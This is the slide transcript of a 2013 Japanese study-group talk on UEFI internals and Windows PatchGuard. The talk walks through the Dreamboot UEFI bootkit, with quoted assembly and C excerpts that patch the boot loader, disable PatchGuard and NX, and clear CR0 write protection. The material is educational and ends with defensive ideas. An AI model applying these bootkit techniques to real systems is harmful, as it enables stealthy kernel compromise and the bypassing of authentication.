Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
EFI Undercover
Search
Yuma Kurogome
July 13, 2013
Programming
3
1.7k
EFI Undercover
第3回 ローレイヤー勉強会 発表資料
http://atnd.org/events/40773
#ll3rd
Yuma Kurogome
July 13, 2013
Tweet
Share
More Decks by Yuma Kurogome
See All by Yuma Kurogome
The Art of De-obfuscation
ntddk
16
27k
死にゆくアンチウイルスへの祈り
ntddk
55
39k
Windows Subsystem for Linux Internals
ntddk
10
3.1k
なぜマルウェア解析は自動化できないのか
ntddk
6
4.3k
Linear Obfuscation to Drive angr Angry
ntddk
4
860
CAPTCHAとボットの共進化
ntddk
2
1.2k
マルウェアを機械学習する前に
ntddk
3
1.6k
Peeling Onions
ntddk
7
3.7k
仮想化技術を用いたマルウェア解析
ntddk
8
27k
Other Decks in Programming
See All in Programming
Android 16 × Jetpack Composeで縦書きテキストエディタを作ろう / Vertical Text Editor with Compose on Android 16
cc4966
0
170
How Android Uses Data Structures Behind The Scenes
l2hyunwoo
0
390
請來的 AI Agent 同事們在寫程式時,怎麼用 pytest 去除各種幻想與盲點
keitheis
0
110
Ruby Parser progress report 2025
yui_knk
1
420
CloudflareのChat Agent Starter Kitで簡単!AIチャットボット構築
syumai
2
470
Go言語での実装を通して学ぶLLMファインチューニングの仕組み / fukuokago22-llm-peft
monochromegane
0
120
基礎から学ぶ大画面対応(Learning Large-Screen Support from the Ground Up)
tomoya0x00
0
410
そのAPI、誰のため? Androidライブラリ設計における利用者目線の実践テクニック
mkeeda
2
260
知っているようで知らない"rails new"の世界 / The World of "rails new" You Think You Know but Don't
luccafort
PRO
1
100
デザイナーが Androidエンジニアに 挑戦してみた
874wokiite
0
280
詳解!defer panic recover のしくみ / Understanding defer, panic, and recover
convto
0
230
機能追加とリーダー業務の類似性
rinchoku
2
1.2k
Featured
See All Featured
We Have a Design System, Now What?
morganepeng
53
7.8k
How STYLIGHT went responsive
nonsquared
100
5.8k
Docker and Python
trallard
45
3.6k
The Language of Interfaces
destraynor
161
25k
Fight the Zombie Pattern Library - RWD Summit 2016
marcelosomers
234
17k
Product Roadmaps are Hard
iamctodd
PRO
54
11k
個人開発の失敗を避けるイケてる考え方 / tips for indie hackers
panda_program
111
20k
Unsuck your backbone
ammeep
671
58k
Cheating the UX When There Is Nothing More to Optimize - PixelPioneers
stephaniewalter
285
13k
Bash Introduction
62gerente
615
210k
How to Think Like a Performance Engineer
csswizardry
26
1.9k
Learning to Love Humans: Emotional Interface Design
aarron
273
40k
Transcript
EFI Undercover @ntddk
UEFI www.uefi.org
自己紹介 • Yuma Kurogome(@ntddk) #include <ntddk.h> • 慶應義塾大学 SFC B1,
武田研 • Synclogue Inc. • セプキャン2011, セキュキャン2013 • RCE, kernel hack
リバースエンジニアリング necomimi • ロジアナ – αLow/Hi: リラックス – βLow/Hi: 活性化
– γLow/Mid: ピキーン – δ: 深いリラックス – θ: 睡眠 • 脳波の異常検知? – fluent-plugin-serialport: ログ整形 – Jubatus: 機械学習
今回話すこと • UEFI • PatchGuard
* 初心者向け * 日本語の書籍が無い...
UEFI?
UEFIとは • BIOSに代わるブートシステム • IntelとHPが1990年台にIA64アーキテクチャを 設計 • IA64にBIOSなんか乗せてられない – 16ビットプロセッサモード、1MBのアドレス空間、
PC/ATハードウェアへの依存
UEFIとは • BIOSに代わるブートシステム • IntelとHPが1990年台にIA64アーキテクチャを 設計 • BIOSが許されるのは小学生までだよね – 16ビットプロセッサモード、1MBのアドレス空間、
PC/ATハードウェアへの依存 → CPU非依存なアーキテクチャ、ドライバ
UEFIとは • Intel → Unified EFI Forum EFI → UEFI,
2.x系がリリース • 2009年頃から普及 – 2TBの壁を克服 – モジュラー型 – 高速起動
2TBの壁 • MBRのパーティションテーブルでは、開始セク タ値とセクタ数が 32bit(4G sectors) • 4G sectors *
512byte = 2TB • パーティションテーブルかセクタサイズを変え るしかない → 互換性? • GPTを前提としているUEFIに移行! • 32bit LBA → 64bit LBA
MBRとGPTの比較 • パーティション: 4個 → 128個 • セクタアドレス長: 32bit →
64bit • パーティションタイプ: 1byte → 16byte GUID • ブートフラグ: 1byte→ 属性フラグ 8bytes • パーティション名: 72bytes UTF-16 • バックアップのパーティションテーブル領域
GPT
GPT パーティションエントリ オフセット サイズ 内容 0 16byte パーティションタイプGUID 16 16byte
パーティーションユニークGUID 32 8byte 開始LBAアドレス 40 8byte 終了LBAアドレス 48 8byte 属性フラグ 56 72byte パーティション名 EFIシステムパーティションなら {C12A7328-F81F-11D2-BA4B-00A0C93EC93B}
UEFIの見た目
UEFIの見た目 • グラフィカルに実装できる • もちろんBIOSそっくりの画面のものもある • Boot ManagerというGRUBのブートメニュー のようなものがある •
UEFI Shellというコマンドプロンプトのような シェルがある
メインメニュー
Boot Managar ブート画面の選択画面 OSは自分のブートローダをここに登録する
Boot Maintenance Manager メニューの編集、ロードするドライバの指定、任 意のファイル実行など
UEFI Shell ださいシェル 任意のOS起動などに使用
GRUB 2 FOR UEFI
UEFIからのブート BootManagerの設定値がデフォルトの場合 • UEFIがHDDを検出、GPTをロード • EFI System Partitionを検索 • \EFI\BOOT\bootx64.efi
or \EFI\BOOT\bootx32.efi をロード
EFI SYSTEM PARTITION • パーティションタイプGUIDがEFI System Partitionな FATファイルシステム • GPTにブートセクタは無い
• ここからUEFIアプリケーションをロードするこ とで起動
UEFI Application • PEフォーマットのバイナリとドライバ • 32bit/64bit, Long modeも • 拡張子:
.EFI • UEFI APIを利用して各種処理を実装
UEFI APPLICATIONの種類 • 2種類のUEFI Application – 通常のUEFI Application: 終了時にExit()をコール し、
UEFI Shellなどに制御を戻す – OS Loader: 終了時にExitBootServices()をコール し、 UEFIが利用していた資源を開放して制御をOS へ移す
RUNTIME SERVICE • ExitBootServices()後もUEFIがOSに対して提供 するサービス • 最低限の機能のみ • Time (GetTime,
SetTime...) • Virtual Memory (SetirtualAddressMap...) • Variable Services (GetVariable...) • Miscellaneous Services(ResetSystem...)
BOOT SERVICE • ExitBootServices()までUEFI Applicationに提供 するサービス – Task Priority Services
(RaiseTPL...) – Memory Services (AllocatePages...) – Event & Timer Services (CreateEvent, SetTimer...) – Protocol Handler Services (HandleProtocol...) – Image Services (LoadImage, StartImage...) – Miscellaneous Services (Stall, CopyMem...) – Open and Close Protocol Services (OpenProtocol...) – Library Services (LocateProtocol...) – 32bit CRC Services (CalculateCrc32...)
Hello, World! #include <UEFI_HelloWorld.h> EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN
EFI_SYSTEM_TABLE *SystemTable) { Print (L"Hello, World!"); return EFI_SUCCESS; }
Hello, World! EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable)
引数は2個(ImageHandle, SystemTable) • ImageHandleはロードされたUEFI Applicationの イメージファイルに対するハンドル • SystemTableを経由して全てのUEFI APIへアクセ ス
EFI System Table typedef struct { EFI_TABLE_HEADER Hdr; CHAR16 *FirmwareVendor;
UINT32 FirmwareRevision; EFI_HANDLE ConsoleInHandle; // 例えばこれはコンソール出力、ポインタが用意されてる EFI_SIMPLE_TEXT_INPUT_PROTOCOL *ConIn; EFI_HANDLE ConsoleOutHandle; EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *ConOut; EFI_HANDLE StandardErrorHandle; EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *StdErr; EFI_RUNTIME_SERVICES *RuntimeServices; EFI_BOOT_SERVICES *BootServices; UINTN NumberOfTableEntries; EFI_CONFIGURATION_TABLE *ConfigurationTable; } EFI_SYSTEM_TABLE; UEFI Applicationに対して公開するインタフェー スが全て詰め込まれた構造体
PROCOTOLS • ネットワークプロトコルスタックのことではな く・・・・・・ • UEFI上で提供される様々なサービス • UEFI Driverを実装しUEFIへロードすることで 自作のProtocolを提供する事も可能
Protocols • IP4/6, UDP/TCP 4/6, ARP, DHCP4/6, MTFP4/6, FTP, PXE,
iSCSI • VLAN, EAP, IPsec (IKEv2) • PCI, USB, SCSI, AHCI, removable media • GPT, vFAT • Console, Graphical Mode, Human Interface • User Identi cation fi • ACPI, SMRAM • Debugger • Compression • EFI Byte Code Virtual Machine • Firmware management
locate Windows bootloader BS->LocateHandleBuffer(ByProtocol,&FileSystemProtocol,NULL,&nbHdles,&hdleArr); for(i=0;i<nbHdles;i++) { err = BS->HandleProtocol(hdleArr[i],&FileSystemProtocol,(void **)&ioDevice);
if(err != EFI_SUCCESS) continue; err=ioDevice->OpenVolume(ioDevice,&handleRoots); if(err != EFI_SUCCESS) continue; err = handleRoots->Open(handleRoots,&bootFile,WINDOWS_BOOTX64_IMAGEPATH, EFI_FILE_MODE_READ,EFI_FILE_READ_ONLY); if(err == EFI_SUCCESS) { handleRoots->Close(bootFile); *LoaderDevicePath = FileDevicePath(handleArray[i],WIN_BOOTX64_IMAGEPATH); break; } }
UEFIのSDK • EDK II – デファクトスタンダードだが・・・・・・ – trunkだと良くハマる • UDK2010
– IntelによるEDK IIのstable – 機能はEDK IIに劣る • gnu-efi – UEFI ApplicationのみのためのLightweight実装 –
UEFIのSDK • EFI Toolkit – TianoCoreが開発するOSS – gnu-efiのもと – EFI
Shell開発にはEDKのほうが強いが、スタンドア ローンならこちらに分がある
VMでのUEFI開発 • Virtual Box – ネイティブに実行可能 – Windowsのブートはできなかった • VMWare
– vmxを編集 • firmware = "efi" – gdbスタブ • debugStub.listen.guest64 = "TRUE" • debugStub.listen.guest64.remote = "TRUE" • debugStub.hideBreakpoints = "TRUE" • monitor.debugOnStartGuest64 = "TRUE"
時代はUEFI • リアルモードのアセンブリを書かなくていい • サイズに悩まなくていい • 気軽にCで書ける • VMで検証できる •
Intel SDMを読め → UEFI Specificationを読め – Intelに限定されない
UEFIの問題点 • Lenovo製コンピュータに載ったUEFIの実装 – 本来ファームウェアがパースすべきでない文字列を パース – デフォルトで使われているブートエントリの表示名 と一致しなければブートを拒否
PatchGuard?
PatchGuardとは • 64bit版Windowsに実装されたカーネル保護機構 • Kernel Patch Protection(KPP)とも • カーネル領域の変更を監視 –
SDT: 全システムコールのテーブル – IDT: 割り込み – GDT: セグメントディスクリプタを置く領域 – カーネルからアロケートされていないカーネルス タック • 多くのrootkitは時代遅れに
時代遅れのrootkit 悪魔のツール“ルートキット”最前線 http://nkbp.jp/12xqHtA
PatchGuard • Bypassing PatchGuardで検索 • How to boost PatchGuard :
it's all about gong fu! www.zer0mem.sk/?p=271 • RebootすることなくPatchGuardを突破する
UEFI ApplicationによるPatchGuardのbypass手法
Dreamboot: A UEFI Bootkit • Sebastien kaczmarek, Quarkslab. • HITB2013
Amsterdamにて発表された • オープンソース!!! • https://github.com/quarkslab/dreamboot
Dreamboot: A UEFI Bootkit • ブートローダ – bootmgfw.efiのフック – winload.efiのフック
• カーネル – PatchGuardの無効化 – Dreambootのコードをリロケート – PsSetLoadImageNotifyRoutine()
Dreamboot: A UEFI Bootkit
Dreamboot: A UEFI Bootkit • UEFI Bootkitを理解するために読むべきソース – QuarksMain.c –
hooks.asm • 他は描画処理とPEロード
QuarksMain.c • ハードウェアからブートローダを検索 – EFI_FILE_IO_INTERFACEを利用 • PEのロード BS->LoadImage(TRUE,ParentHdle,WinLdrDp,NULL,0,&hImg); • PEメモリレイアウトの取得
BS->HandleProtocol(hImg,&LoadedImageProtocol, (void **)&img_inf); • PEにパッチ *((byte *)(img_inf->ImageBase) + offset = NOP; • ブート BS->StartImage(hImg,(UINTN *)NULL,(CHAR16 **)NULL);
hooks.asm • OslArchTransferToKernel()をフック – winload.exe → ntoskrnl.exeの際に呼び出さ れる – kiSystemStartup()を呼び出すように書き換
え
hooks.asm • NX flagの書き換え lea rcx, NTOSKRNL_PATTERN_NXFlag sub rbx,NTOSKRNL_PATTERN_NXFlag_size push
rdx mov rax,rdx mov rdx,NTOSKRNL_PATTERN_NXFlag_size call kernel_find_pattern cmp rax,0 je winload_OslArchTransferToKernel_hook_exit mov byte ptr[rax],0EBh mov NTOSKRNL_NxPatchAddr,rax
hooks.asm • PatchGuardの書き換え mov rax,[rsp] lea rcx,NTOSKRNL_PATTERN_PATCHGUARD mov rdx,NTOSKRNL_PATTERN_PATCHGUARD_size call
kernel_find_pattern cmp rax,0 je winload_OslArchTransferToKernel_hook_exit mov dword ptr[rax+2],090D23148h mov word ptr[rax+6],09090h mov byte ptr[rax+8],090h
hooks.asm • PEのパース • NtSetInformationThreadのフック – 通常smss.exeの作成時あるいはシステムプロセスの 作成中に呼ばれるが、無効に • NX
bit無効化後にntoskrnlにペイロードを挿入 • PEが実行される前にパッチできる • Bypassing local authentication + Priviledge escalation
hooks.asm • WP flagの書き換え • rootkitでいつも書くアレ CR0_WP_CLEAR_MASK equ 0fffeffffh CR0_WP_SET_MASK
equ 010000h cli mov rcx,cr0 and rcx, CR0_WP_CLEAR_MASK ; Unprotect kernel memory mov cr0,rcx mov rcx,cr0 or rcx, CR0_WP_SET_MASK ; Restore memory protection mov cr0,rcx sti
まとめ • UEFIで気軽にローレイヤー • PatchGuardが許されるのは(ry
やりたいこと • 悪名高いUEFI Secure Bootの補助 • OSが読み込む前に安全なチップからファイル やメモリをスキャン • rootkit/bootkit対策
• 起動のブロック
やりたいこと ・・・・・・というのを既にKasperskyがやってた “Kaspersky Anti-Virus for UEFI”
やりたいこと • 見てろよKaspersky • UEFI basedなマルウェア対策? • JIANG Zhengwei,WANG Xiaozhen,LIU
Baoxu2. UEFI malicious behavior detection model based on minimal attack tree. Computer Engineering and Applications,2012,48(32):14-17 とか、そのあたり
!!! 新規性 !!! Thanks @syuu1228 :)